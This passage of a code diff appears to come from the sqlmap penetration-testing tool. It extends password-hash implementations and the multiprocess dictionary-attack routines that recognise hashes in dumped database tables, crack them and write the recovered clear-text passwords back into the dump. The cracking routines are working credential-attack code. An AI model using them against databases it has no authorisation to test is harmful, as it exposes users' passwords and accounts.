(int(ord(final[8:9])) << 8) | (int(ord(final[14:15]))), 4) + hash_ = hash_ + _encode64((int(ord(final[3:4])) << 16) | (int(ord(final[9:10])) << 8) | (int(ord(final[15:16]))), 4) + hash_ = hash_ + _encode64((int(ord(final[4:5])) << 16) | (int(ord(final[10:11])) << 8) | (int(ord(final[5:6]))), 4) + hash_ = hash_ + _encode64((int(ord(final[11:12]))), 2) + + return getText(magic + salt + b'$' + getBytes(hash_)) + +def joomla_passwd(password, salt, **kwargs): + """ + Reference: https://stackoverflow.com/a/10428239 + + >>> joomla_passwd(password='testpass', salt='6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf') + 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' + """ + + return "%s:%s" % (md5(getBytes(password) + getBytes(salt)).hexdigest(), salt) + +def django_md5_passwd(password, salt, **kwargs): + """ + Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py + + >>> django_md5_passwd(password='testpass', salt='salt') + 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' + """ + + return "md5$%s$%s" % (salt, md5(getBytes(salt) + getBytes(password)).hexdigest()) + +def django_sha1_passwd(password, salt, **kwargs): + """ + Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py + + >>> django_sha1_passwd(password='testpass', salt='salt') + 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' + """ - return retVal.upper() if uppercase else retVal + return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) -def wordpress_passwd(password, salt, count, prefix, uppercase=False): +def vbulletin_passwd(password, salt, **kwargs): + """ + Reference: https://stackoverflow.com/a/2202810 + + >>> vbulletin_passwd(password='testpass', salt='salt') + '85c4d8ea77ebef2236fb7e9d24ba9482:salt' + """ + + return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) + +def oscommerce_old_passwd(password, salt, **kwargs): + """ + Reference: http://ryanuber.com/09-24-2010/os-commerce-password-hashing.html + + >>> oscommerce_old_passwd(password='testpass', salt='6b') + '16d39816e4545b3179f86f2d2d549af4:6b' + """ + + return "%s:%s" % (md5(getBytes(salt) + getBytes(password)).hexdigest(), salt) + +def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): - http://packetstormsecurity.org/files/74448/phpassbrute.py.txt + https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php + https://www.openwall.com/phpass/ + https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py - >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp', uppercase=False) + >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' + >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$') + '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/' + >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$') + '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W' """ def _encode64(input_, count): @@ -247,138 +510,271 @@ def _encode64(input_, count): i = 0 while i < count: - value = ord(input_[i]) + value = (input_[i] if isinstance(input_[i], int) else ord(input_[i])) i += 1 output = output + ITOA64[value & 0x3f] if i < count: - value = value | (ord(input_[i]) << 8) + value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 8) - output = output + ITOA64[(value>>6) & 0x3f] + output = output + ITOA64[(value >> 6) & 0x3f] i += 1 if i >= count: break if i < count: - value = value | (ord(input_[i]) << 16) + value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 16) - output = output + ITOA64[(value>>12) & 0x3f] + output = output + ITOA64[(value >> 12) & 0x3f] i += 1 if i >= count: break - output = output + ITOA64[(value>>18) & 0x3f] + output = output + ITOA64[(value >> 18) & 0x3f] return output - cipher = md5(salt) + password = getBytes(password) + f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix] + + cipher = f(getBytes(salt)) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): - _ = md5(hash_) + _ = f(hash_) _.update(password) hash_ = _.digest() - retVal = prefix + _encode64(hash_, 16) + retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_))) + + if prefix == "$S$": + # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x + retVal = retVal[:55] - return retVal.upper() if uppercase else retVal + return retVal __functions__ = { - HASH.MYSQL: mysql_passwd, - HASH.MYSQL_OLD: mysql_old_passwd, - HASH.POSTGRES: postgres_passwd, - HASH.MSSQL: mssql_passwd, - HASH.MSSQL_OLD: mssql_old_passwd, - HASH.ORACLE: oracle_passwd, - HASH.ORACLE_OLD: oracle_old_passwd, - HASH.MD5_GENERIC: md5_generic_passwd, - HASH.SHA1_GENERIC: sha1_generic_passwd, - HASH.CRYPT_GENERIC: crypt_generic_passwd, - HASH.WORDPRESS: wordpress_passwd - } + HASH.MYSQL: mysql_passwd, + HASH.MYSQL_OLD: mysql_old_passwd, + HASH.POSTGRES: postgres_passwd, + HASH.MSSQL: mssql_passwd, + HASH.MSSQL_OLD: mssql_old_passwd, + HASH.MSSQL_NEW: mssql_new_passwd, + HASH.ORACLE: oracle_passwd, + HASH.ORACLE_OLD: oracle_old_passwd, + HASH.MD5_GENERIC: md5_generic_passwd, + HASH.SHA1_GENERIC: sha1_generic_passwd, + HASH.SHA224_GENERIC: sha224_generic_passwd, + HASH.SHA256_GENERIC: sha256_generic_passwd, + HASH.SHA384_GENERIC: sha384_generic_passwd, + HASH.SHA512_GENERIC: sha512_generic_passwd, + HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.JOOMLA: joomla_passwd, + HASH.DJANGO_MD5: django_md5_passwd, + HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.PHPASS: phpass_passwd, + HASH.APACHE_MD5_CRYPT: unix_md5_passwd, + HASH.UNIX_MD5_CRYPT: unix_md5_passwd, + HASH.APACHE_SHA1: apache_sha1_passwd, + HASH.VBULLETIN: vbulletin_passwd, + HASH.VBULLETIN_OLD: vbulletin_passwd, + HASH.OSCOMMERCE_OLD: oscommerce_old_passwd, + HASH.SSHA: ssha_passwd, + HASH.SSHA256: ssha256_passwd, + HASH.SSHA512: ssha512_passwd, + HASH.MD5_BASE64: md5_generic_passwd, + HASH.SHA1_BASE64: sha1_generic_passwd, + HASH.SHA256_BASE64: sha256_generic_passwd, + HASH.SHA512_BASE64: sha512_generic_passwd, +} + +def _finalize(retVal, results, processes, attack_info=None): + if _multiprocessing: + gc.enable() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 + # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes + for process in processes: + try: + process.terminate() + process.join() + except (OSError, AttributeError): + pass + + if retVal: + removals = set() + + if conf.hashDB: + conf.hashDB.beginTransaction() + + while not retVal.empty(): + user, hash_, word = item = retVal.get(block=False) + results.append(item) + removals.add((user, hash_)) + hashDBWrite(hash_, word) + + for item in attack_info or []: + if (item[0][0], item[0][1]) in removals: + attack_info.remove(item) + + if conf.hashDB: + conf.hashDB.endTransaction() + + if hasattr(retVal, "close"): + retVal.close() + +def storeHashesToFile(attack_dict): + if not attack_dict: + return + + items = OrderedSet() + + for user, hashes in attack_dict.items(): + for hash_ in hashes: + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ + if hash_ and hash_ != NULL and hashRecognition(hash_): + item = None + if user and not user.startswith(DUMMY_USER_PREFIX): + item = "%s:%s\n" % (user, hash_) + else: + item = "%s\n" % hash_ + + if item and item not in items: + items.add(item) + + if kb.choices.storeHashes is None: + message = "do you want to store hashes to a temporary file " + message += "for eventual further processing with other tools [y/N] " + + kb.choices.storeHashes = readInput(message, default='N', boolean=True) + + if items and kb.choices.storeHashes: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") + os.close(handle) + + infoMsg = "writing hashes to a temporary file '%s' " % filename + logger.info(infoMsg) + + with openFile(filename, "w+") as f: + for item in items: + try: + f.write(item) + except (UnicodeError, TypeError): + pass def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) + lut = {} for (_, hash_, password) in results: - for user in kb.data.cachedUsersPasswords.keys(): - for i in xrange(len(kb.data.cachedUsersPasswords[user])): - if kb.data.cachedUsersPasswords[user][i] and hash_.lower() in kb.data.cachedUsersPasswords[user][i].lower()\ - and 'clear-text password' not in kb.data.cachedUsersPasswords[user][i].lower(): - kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', password) + lut[hash_.lower()] = password + + for user in kb.data.cachedUsersPasswords: + for i in xrange(len(kb.data.cachedUsersPasswords[user])): + if (kb.data.cachedUsersPasswords[user][i] or "").strip(): + value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] + if value in lut: + kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable - columns = table.keys() + columns = list(table.keys()) count = table["__infos__"]["count"] if not count: return - infoMsg = "analyzing table dump for possible password hashes" - logger.info(infoMsg) + debugMsg = "analyzing table dump for possible password hashes" + logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} + binary_fields = OrderedSet() + replacements = {} - for column in columns: + for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break + for column in columns: + if column != "__infos__" and table[column]["values"]: + if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): + binary_fields.add(column) + + if binary_fields: + _ = ','.join(binary_fields) + warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ + warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ + logger.warning(warnMsg) + for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: - if column == col_user or column == '__infos__': + if column == col_user or column == "__infos__": continue - if len(table[column]['values']) <= i: + if len(table[column]["values"]) <= i: continue - value = table[column]['values'][i] + if conf.binaryFields and column in conf.binaryFields: + continue + + value = table[column]["values"][i] + + if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: + previous = value + value = encodeHex(getBytes(value), binary=False) + replacements[value] = previous if hashRecognition(value): found = True - if col_user and i < len(table[col_user]['values']): - if table[col_user]['values'][i] not in attack_dict: - attack_dict[table[col_user]['values'][i]] = [] + if col_user and i < len(table[col_user]["values"]): + if table[col_user]["values"][i] not in attack_dict: + attack_dict[table[col_user]["values"][i]] = [] - attack_dict[table[col_user]['values'][i]].append(value) + attack_dict[table[col_user]["values"][i]].append(value) else: - attack_dict['%s%d' % (DUMMY_USER_PREFIX, i)] = [value] + attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: - message = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") - message += "'%s'. Do you want to " % ", ".join(col for col in col_passwords) - message += "crack them via a dictionary-based attack? [Y/n/q]" - test = readInput(message, default="Y") + infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") + infoMsg += "'%s'" % ", ".join(col for col in col_passwords) + logger.info(infoMsg) - if test[0] in ("n", "N"): + storeHashesToFile(attack_dict) + + message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") + choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() + + if choice == 'N': return - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + elif choice == 'Q': + raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: - lut[hash_.lower()] = password + key = hash_ if hash_ not in replacements else replacements[hash_] + lut[key.lower()] = password + lut["0x%s" % key.lower()] = password - infoMsg = "postprocessing table dump" - logger.info(infoMsg) + debugMsg = "post-processing table dump" + logger.debug(debugMsg) for i in xrange(count): for column in columns: @@ -386,50 +782,75 @@ def attackDumpedTable(): value = table[column]['values'][i] if value and value.lower() in lut: - table[column]['values'][i] += " (%s)" % lut[value.lower()] + table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) +@cachedmethod def hashRecognition(value): + """ + >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC + True + >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE + True + >>> hashRecognition("foobar") == None + True + """ + retVal = None - isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) + if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) + isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) - if isinstance(value, basestring): - for name, regex in getPublicTypeMembers(HASH): - # Hashes for Oracle and old MySQL look the same hence these checks - if isOracle and regex == HASH.MYSQL_OLD: - continue - elif isMySQL and regex == HASH.ORACLE_OLD: - continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): + if kb.cache.hashRegex is None: + parts = [] + + for name, regex in getPublicTypeMembers(HASH): + # Hashes for Oracle and old MySQL look the same hence these checks + if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif re.match(regex, value): - retVal = regex - break + elif regex == HASH.CRYPT_GENERIC: + if any((value.lower() == value, value.upper() == value)): + continue + else: + parts.append("(?P<%s>%s)" % (name, regex)) + + kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "") + + if isinstance(value, six.string_types): + match = re.search(kb.cache.hashRegex, value, re.I) + if match: + algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] + retVal = getattr(HASH, algorithm) return retVal -def __bruteProcessVariantA(attack_info, hash_regex, wordlist, suffix, retVal, proc_id, proc_count): +def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): + if IS_WIN: + coloramainit() + count = 0 rotator = 0 - hashes = set([item[0][1] for item in attack_info]) + hashes = set(item[0][1] for item in attack_info) + + wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if not attack_info: break - if not isinstance(word, basestring): + count += 1 + + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: - current = __functions__[hash_regex](password = word, uppercase = False) - - count += 1 + current = __functions__[hash_regex](password=word, uppercase=False) if current in hashes: for item in attack_info[:]: @@ -451,53 +872,65 @@ def __bruteProcessVariantA(attack_info, hash_regex, wordlist, suffix, retVal, pr attack_info.remove(item) - elif (proc_id == 0 or getattr(proc_count, 'value', 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: + elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: rotator += 1 + if rotator >= len(ROTATING_CHARS): rotator = 0 - status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) - dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + if not api: + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): - pass # ignore possible encoding problems caused by some words in custom dictionaries + pass # ignore possible encoding problems caused by some words in custom dictionaries - except Exception, ex: - print ex - warnMsg = "there was a problem while hashing entry: %s. " % repr(word) - warnMsg += "Please report by e-mail to %s" % ML + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: - if hasattr(proc_count, 'value'): - proc_count.value -= 1 + if hasattr(proc_count, "value"): + with proc_count.get_lock(): + proc_count.value -= 1 + +def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api): + if IS_WIN: + coloramainit() -def __bruteProcessVariantB(user, hash_, kwargs, hash_regex, wordlist, suffix, retVal, found, proc_id, proc_count): count = 0 rotator = 0 + wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) + try: for word in wordlist: if found.value: break - current = __functions__[hash_regex](password = word, uppercase = False, **kwargs) count += 1 - if not isinstance(word, basestring): + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: + current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) + if hash_ == current: - if hash_regex == HASH.ORACLE_OLD: #only for cosmetic purposes + if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() retVal.put((user, hash_, word)) @@ -515,53 +948,83 @@ def __bruteProcessVariantB(user, hash_, kwargs, hash_regex, wordlist, suffix, re found.value = True - elif (proc_id == 0 or getattr(proc_count, 'value', 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: + elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 + if rotator >= len(ROTATING_CHARS): rotator = 0 - status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) - if not user.startswith(DUMMY_USER_PREFIX): - status += ' (user: %s)' % user - dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + if user and not user.startswith(DUMMY_USER_PREFIX): + status += " (user: %s)" % user + + if not api: + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): - pass # ignore possible encoding problems caused by some words in custom dictionaries + pass # ignore possible encoding problems caused by some words in custom dictionaries - except Exception, ex: - print ex - warnMsg = "there was a problem while hashing entry: %s. " % repr(word) - warnMsg += "Please report by e-mail to %s" % ML + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: - if hasattr(proc_count, 'value'): - proc_count.value -= 1 + if hasattr(proc_count, "value"): + with proc_count.get_lock(): + proc_count.value -= 1 def dictionaryAttack(attack_dict): + global _multiprocessing + suffix_list = [""] + custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] - processException = False user_hash = [] + processException = False + foundHash = False + + if conf.disableMulti: + _multiprocessing = None + else: + # Note: https://github.com/sqlmapproject/sqlmap/issues/4367 + try: + import multiprocessing + + # problems on FreeBSD (Reference: https://web.archive.org/web/20110710041353/http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) + _ = multiprocessing.Queue() + + # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) + _ = multiprocessing.Value('i') + except (ImportError, OSError, AttributeError): + pass + else: + try: + if multiprocessing.cpu_count() > 1: + _multiprocessing = multiprocessing + except NotImplementedError: + pass for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].func_name + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: @@ -573,48 +1036,73 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + foundHash = True + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): - item = None - - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS): - hash_ = hash_.lower() - - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): - item = [(user, hash_), {}] - elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): - item = [(user, hash_), {'username': user}] - elif hash_regex in (HASH.ORACLE): - item = [(user, hash_), {'salt': hash_[-20:]}] - elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD): - item = [(user, hash_), {'salt': hash_[6:14]}] - elif hash_regex in (HASH.CRYPT_GENERIC): - item = [(user, hash_), {'salt': hash_[0:2]}] - elif hash_regex in (HASH.WORDPRESS): - item = [(user, hash_), {'salt': hash_[4:12], 'count': 1<<ITOA64.index(hash_[3]), 'prefix': hash_[:12]}] - - if item and hash_ not in keys: - resumed = hashDBRetrieve(hash_) - if not resumed: - attack_info.append(item) - user_hash.append(item[0]) - else: - infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) - if user and not user.startswith(DUMMY_USER_PREFIX): - infoMsg += " for user '%s'" % user - logger.info(infoMsg) - resumes.append((user, hash_, resumed)) - keys.add(hash_) + try: + item = None + + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + hash_ = hash_.lower() + + if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] + elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): + if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 + hash_ = hash_[2:] + item = [(user, hash_), {}] + elif hash_regex in (HASH.SSHA,): + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] + elif hash_regex in (HASH.SSHA256,): + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}] + elif hash_regex in (HASH.SSHA512,): + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}] + elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): + item = [(user, hash_), {'username': user}] + elif hash_regex in (HASH.ORACLE,): + item = [(user, hash_), {"salt": hash_[-20:]}] + elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): + item = [(user, hash_), {"salt": hash_[6:14]}] + elif hash_regex in (HASH.CRYPT_GENERIC,): + item = [(user, hash_), {"salt": hash_[0:2]}] + elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): + item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): + item = [(user, hash_), {"salt": hash_.split(':')[-1]}] + elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): + item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.PHPASS,): + if ITOA64.index(hash_[3]) < 32: + item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] + else: + warnMsg = "invalid hash '%s'" % hash_ + logger.warning(warnMsg) + + if item and hash_ not in keys: + resumed = hashDBRetrieve(hash_) + if not resumed: + attack_info.append(item) + user_hash.append(item[0]) + else: + infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) + if user and not user.startswith(DUMMY_USER_PREFIX): + infoMsg += " for user '%s'" % user + logger.info(infoMsg) + resumes.append((user, hash_, resumed)) + keys.add(hash_) + + except (binascii.Error, TypeError, IndexError): + pass if not attack_info: continue - if not kb.wordlist: - while not kb.wordlist: + if not kb.wordlists: + while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS): + if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -623,55 +1111,61 @@ def dictionaryAttack(attack_dict): message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" - choice = readInput(message, default="1") + choice = readInput(message, default='1') try: - if choice == "2": + if choice == '2': message = "what's the custom dictionary's location?\n" - dictPaths = [readInput(message)] - - logger.info("using custom dictionary") - elif choice == "3": + dictPath = readInput(message) + if dictPath: + dictPaths = [dictPath] + logger.info("using custom dictionary") + elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) - logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") + dictPaths = [_ for _ in dictPaths if _] + for dictPath in dictPaths: checkFile(dictPath) - kb.wordlist = Wordlist(dictPaths) + if isZipFile(dictPath): + _ = zipfile.ZipFile(dictPath, 'r') + if len(_.namelist()) == 0: + errMsg = "no file(s) inside '%s'" % dictPath + raise SqlmapDataException(errMsg) + else: + _.open(_.namelist()[0]) - if _multiprocessing: - kb.wordlist.lock = _multiprocessing.Lock() + kb.wordlists = dictPaths - except sqlmapFilePathException, msg: + except Exception as ex: warnMsg = "there was a problem while loading dictionaries" - warnMsg += " ('%s')" % msg + warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " - test = readInput(message, default="N") - if test[0] in ("y", "Y"): + if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES - infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name + infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: ((user, _), _) = item - if user and not user.startswith(DUMMY_USER_PREFIX): - kb.wordlist.append(normalizeUnicode(user)) + custom_wordlist.append(normalizeUnicode(user)) - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): + # Algorithms without extra arguments (e.g. salt and/or username) + if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): for suffix in suffix_list: - if len(attack_info) == len(results) or processException: + if not attack_info or processException: break if suffix: @@ -679,58 +1173,47 @@ def dictionaryAttack(attack_dict): infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) - kb.wordlist.rewind() - retVal = None processes = [] try: - if _multiprocessing and not IS_WIN: + if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) + gc.disable() + retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=__bruteProcessVariantA, args=(attack_info, hash_regex, kb.wordlist, suffix, retVal, i, count)) - processes.append(p) + process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) + processes.append(process) - for p in processes: - p.start() + for process in processes: + process.daemon = True + process.start() - for p in processes: - p.join() + while count.value > 0: + time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) - retVal = Queue() - __bruteProcessVariantA(attack_info, hash_regex, kb.wordlist, suffix, retVal, 0, 1) + retVal = _queue.Queue() + _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: - print + print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) - - for process in processes: - process.terminate() - process.join() + logger.warning(warnMsg) finally: - if 